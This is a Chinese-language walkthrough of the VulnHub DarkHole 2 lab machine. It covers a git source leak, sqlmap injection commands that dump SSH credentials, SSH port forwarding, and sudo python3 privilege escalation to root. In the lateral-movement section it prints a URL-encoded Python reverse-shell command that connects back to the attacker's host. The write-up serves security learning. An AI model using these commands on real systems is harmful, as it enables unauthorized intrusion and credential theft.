基本信息

靶机下载:https://download.vulnhub.com/darkhole/darkhole_2.zip

攻击机器:192.168.20.128(Windows操作系统)& 192.168.20.138(kali)

难度:困难

提示信息:Don’t waste your time For Brute-Force

靶机:192.168.20.0/24

目标:获取2个flag+root权限

具体流程

信息收集

老样子首先使用arp-scan -l对主机进行探活,发现主机IP为192.168.20.154

image-20241026141654340

之后对开放的端口进行扫描,执行nmap -O -sV -p- -A 192.168.20.154,结果如下所示

image-20241026142001602

开放了80端口和22端口,我们还是老样子先对80端口进行信息收集

image-20241026142255549

我们在使用nmap的时候,帮我们探测出来了该网站存在git泄露,我们使用githacker获取网站源码,如下图所示

githacker --url http://192.168.20.154/.git/ --output-folder darkhole

image-20241026143205898

我们成功获取部分源码,当我们在查看login.php的时候,发现了很明显的sql注入的漏洞

5d9fdcaed63e388e8f25dab9fbce9269

这摆明了就是要靠sql注入的节奏

image-20241026144549097

但是这里直接给我禁止了,说明还是不可以进行sql注入的,因为会限制输入的符号,我们用sqlmap跑的结果也是,显示可能存在waf,所以我们还是得从别的地方找切入口

我们尝试从提交日志去寻找关键信息,我们一条一条日志去分析,如下所示

image-20241026145842200

image-20241026150018464

成功发现登录的账号密码,我们直接登录即可

lush@admin.com/321

image-20241026183834429

我们发现后面的id=1可能存在sql注入,我们先尝试手注测试一下,当我们输入id=1'时页面不正常,但是当我们输入id=1' --+的时候,页面显示正常,说明存在sql注入,我们尝试用sqlmap去跑,看是否能跑出来

image-20241026184714394

我们这里跑出来他的数据库是mysql,说明存在sql注入,接下来我们一步步脱裤数据即可

SQL注入

首先执行python39 sqlmap.py -r "C:\Users\Administrator\Desktop\sql.txt" --dbs --batch

image-20241026184830497

我们可以发现存在以上几个数据库,我们先查询darkhole_2的表,执行

python39 sqlmap.py -r "C:\Users\Administrator\Desktop\sql.txt" -D darkhole_2 --tables --batch

image-20241026185040180

我们直接查ssh表中的列数据,执行

python39 sqlmap.py -r "C:\Users\Administrator\Desktop\sql.txt" -D darkhole_2 -T ssh --columns --batch

image-20241026185215576

接下来就直接查看密码即可,执行

python39 sqlmap.py -r "C:\Users\Administrator\Desktop\sql.txt" -D darkhole_2 -T ssh --dump --batch

image-20241026185458130

成功获取一个ssh用户的账号密码,我们直接ssh登录即可

jehad/fool

SSH登录

image-20241026185643791

成功登录上去,我们寻找第一个flag,我们在losy用户下发现了user.txt,读取,如下所示

DarkHole{'This_is_the_life_man_better_than_a_cruise'}

image-20241026190139540

接下来我们要进行的就是进行提权了,我们要提升到root权限才能方便我们继续我们下一步的操作

权限横向移动

我们检查了jeahd用户下的sudo提权和suid提权,都不存在可以利用的点,而user.txt是在losy用户下发现的,所以我们需要切换到losy用户下,我们接着寻找有没有可以利用的点

在我们上传的提权脚本中,我们发现靶机还开放了一个9999端口

image-20241026192605583

c64490d09eec643cd56ffbc95c39ff51

我们尝试用web去访问这个9999端口,但是访问不到

image-20241026193150781

我们尝试去访问这个web服务的源码,如下所示

image-20241026193942830

是一个cmd执行任意命令的脚本,我们现在只要能够访问到这个web服务,我们就可以将losy的权限反弹shell到我们本地来,我们首先进行本地端口转发,不然一直访问不到web页面

image-20241026194550831

ssh -L 9999:localhost:9999 jehad@192.168.20.154

image-20241026194707380

接下来我们就可以访问到web服务了,如下所示

image-20241026195106815

接下来我们直接反弹shell即可,记得将反弹shell语句进行url编码

curl "http://127.0.0.1:9999/?cmd=export+RHOST%3d%22192.168.20.138%22%3bexport+RPORT%3d9001%3bpython3+-c+%27import+sys%2csocket%2cos%2cpty%3bs%3dsocket.socket()%3bs.connect((os.getenv(%22RHOST%22)%2cint(os.getenv(%22RPORT%22))))%3b%5bos.dup2(s.fileno()%2cfd)+for+fd+in+(0%2c1%2c2)%5d%3bpty.spawn(%22%2fbin%2fbash%22)%27"

image-20241026195718604

成功获得losy权限

权限提升

我们尝试sudo -l的时候,发现需要用户密码,但是我们没有用户密码,我们输入history命令后,发现泄露了用户密码

image-20241026200234653

我们继续使用sudo -l提权

image-20241026200313115

我们发现python3可以用来进行sudo提权,我们执行以下语句

sudo python3 -c 'import pty;pty.spawn("/bin/bash")'

image-20241026200549909

成功获取root权限,我们直接寻找最后一个flag即可

DarkHole{'Legend'}

image-20241026200649045

本题到此结束

总结

本题难度比较大,考的点也比较多,在vulnhub上也别认定为为hard难度,首先就是git泄露,但是git泄露不要被他的源码给骗了,最重要的还是去查看git日志,里面隐藏了关键信息,然后进入网站后也要有发现sql注入的敏感性,通过sql注入脱裤找到ssh登录的账号密码,然后权限横向移动,通过端口转发实现反弹shell,这也是我第一次遇见端口转发的题目,最后再进行sudo提权,总体来讲思路很清晰,但是有些信息不是那么好找,还是得细心吧,就像我一样错过了9999的异常端口,导致耗了很久。